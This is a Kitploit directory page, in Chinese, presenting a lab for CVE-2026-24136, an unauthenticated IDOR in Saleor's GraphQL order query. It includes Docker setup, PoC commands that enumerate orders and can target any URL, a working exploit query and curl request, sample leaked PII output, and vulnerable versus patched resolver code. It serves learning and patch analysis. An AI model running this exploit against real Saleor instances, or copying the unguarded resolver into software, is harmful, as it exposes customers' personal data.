Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-24136-Lab — CVE-2026-24136 | 在Saleor GraphQL上利用IDOR漏洞的实验室 - query order()未检查身份验证,泄露客户的所有PII(电子邮件、地址、电话号码)。包括Docker环境、种子数据脚本和PoC。CVSS 4.0:8.7 高。 | Kitploit
工具/GitHubGitHub/blankbire/cve-2026-24136-lab
漏洞分析Web应用程序漏洞利用API安全测试渗透测试学习与教育实验室与实践
GitHubblankbire/cve-2026-24136-lab

CVE-2026-24136-Lab

CVE-2026-24136 | 在Saleor GraphQL上利用IDOR漏洞的实验室 - query order()未检查身份验证,泄露客户的所有PII(电子邮件、地址、电话号码)。包括Docker环境、种子数据脚本和PoC。CVSS 4.0:8.7 高。

查看仓库
1133个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-24136 - Saleor GraphQL IDOR / 未授权PII窃取

概述

字段详情
CVE IDCVE-2026-24136
漏洞类型IDOR - 通过用户控制密钥绕过授权 (CWE-639)
软件Saleor 电子商务平台
受影响版本3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28
已修补版本3.20.110 · 3.21.45 · 3.22.29
CVSS 3.17.5 高 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS 4.08.7 高
影响未认证参与者可读取任意订单的PII(姓名、地址、电话、电子邮件)
需要认证?否

漏洞描述

Saleor提供一个GraphQL API来管理电子商务订单。order(id: $id) 查询允许根据全局ID获取订单详情。在受影响版本中,此查询不检查调用者是否有权查看该订单。任何用户,包括完全匿名的无账户用户,都可以调用此查询并获取客户的完整PII:电子邮件、姓名、送货地址、电话号码、登录历史。


实验室结构

cve-2026-24136-lab/
├── docker-compose.yml          # 实验室环境 (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # 自动启动脚本 (Windows PowerShell)
├── setup_lab.sh                # 自动启动脚本 (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # 启动封装:修补wsgi错误 + gunicorn
    ├── seed_data.py            # 创建包含PII的受害者账户和订单
    └── poc_cve_2026_24136.py   # 利用PoC

启动实验室

要求

  • Docker Desktop (Windows / macOS) 或 Docker Engine (Linux)
  • Python 3.8+
  • pip install requests

Windows (PowerShell)

# 如需请授予执行权限
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# 运行自动设置
.\setup_lab.ps1

Linux / WSL / macOS (Bash)

chmod +x setup_lab.sh
./setup_lab.sh

手动

# 1. 启动容器
docker compose up -d

# 2. 等待API就绪(约60-90秒)
#    检查:curl http://localhost:8000/health/

# 3. 创建管理员账户
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. 填充商品/频道
docker exec cve_saleor_api python manage.py populatedb

# 5. 创建受害者数据(包含PII的账户和订单)
cd scripts
pip install requests
python seed_data.py

启动后的端点:

服务URL
Saleor GraphQL APIhttp://localhost:8000/graphql/
GraphQL Playgroundhttp://localhost:8000/graphql/
Saleor Dashboardhttp://localhost:9000
管理员[email protected] / admin

使用PoC

cd scripts

# 查看技术解释
python poc_cve_2026_24136.py explain

# 从已seed的列表中利用(建议 - Saleor 3.x使用UUID ID)
python poc_cve_2026_24136.py file order_ids.json

# 利用单个订单(直接使用base64全局ID)
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# 顺序枚举(仅适用于Saleor < 3.x使用整数ID的情况)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# 更改目标API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# 保存结果为JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

示例输出

[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [LEAKED] ORDER #41 -- DRAFT                                 ║
╠──────────────────────────────────────────────────────────────╣
║  Email           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  Billing Address : Nguyen Van A                              ║
║    Street        : 123 Le Loi Street                         ║
║    City/Post     : HO CHI MINH CITY 700000                   ║
║    Country       : Vietnam                                   ║
║    Phone         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] Successfully leaked 6/6 orders

根因分析

1. 订单ID编码

Saleor遵循Relay GraphQL规范的“全局对象标识”。每个对象通过一个具有以下形式的全局ID标识:

base64("<TypeName>:<internal_id>")

对于Saleor 3.x中的订单:

# internal_id 是 UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

注意:Saleor 2.x使用整数顺序ID(Order:1, Order:2, ...),因此更容易枚举。
Saleor 3.x改用UUID,因此攻击者需要通过其他方式获取UUID(订单确认邮件、URL泄露等)。

2. 导致漏洞的代码段

文件: saleor/graphql/order/resolvers.py

# 漏洞版本(修补前)
def resolve_order(root, info, id):
    """Resolve order by ID – 没有任何授权检查。"""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # 任何人都能获取数据,不检查用户,不检查会话

文件: saleor/graphql/order/schema.py

# 查询定义,未声明权限
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # 没有 @permission_required,没有任何守卫

3. 利用的GraphQL查询

发送的查询不包含Authorization头部:

query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
# 使用curl发送,无需令牌
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# 响应(无需认证):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

4. 攻击流程

Attacker (anonymous)                     Saleor GraphQL API
        |                                        |
        |── POST /graphql/ ─────────────────────>|
        |   Content-Type: application/json       |
        |   (NO Authorization header)            |
        |   {"query":"query {                    |
        |     order(id: \"T3JkZXI6...\") {       |
        |       userEmail                        |
        |       billingAddress { phone }         |
        |     }                                  |
        |   }"}                                  |
        |                                        |
        |<── HTTP 200 OK ─────────────────────── |
        |   {"data": {"order": {                 |
        |     "userEmail": "[email protected]", |
        |     "billingAddress": {                |
        |       "phone": "+84901234567"          |
        |     }                                  |
        |   }}}                                  |
        |                                        |

补丁分析

主要补丁提交

文件: saleor/graphql/order/resolvers.py

# 已修补版本(>= 3.20.110)
def resolve_order(root, info, id):
    """Resolve order by ID 并带有完整的授权检查。"""
    _, pk = from_global_id_or_error(id, Order)
    order = qs.filter(pk=pk).first()

    # 守卫1:员工和App可以查看所有订单
    if requestor_is_staff_member_or_app(info.context.user, info.context.app):
        return order

    # 守卫2:未认证用户 → 返回None(不报错以避免泄露存在性)
    if not info.context.user or not info.context.user.is_authenticated:
        return None

    # 守卫3:已认证用户只能查看自己的订单
    if order and order.user_id != info.context.user.pk:
        raise PermissionDenied(
            "You don't have permission to access this order."
        )

    return order

文件: saleor/graphql/order/schema.py

# 添加注释以记录权限要求
class OrderQueries:
    order = graphene.Field(
        Order,
        description=(
            "Look up an order by ID. "
            "Requires authentication. Staff users can access all orders. "
            "Regular users can only access their own orders."
        ),
        id=graphene.Argument(graphene.ID, required=True),
    )

补丁前后对比

Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(无Authorization头部)
下载工具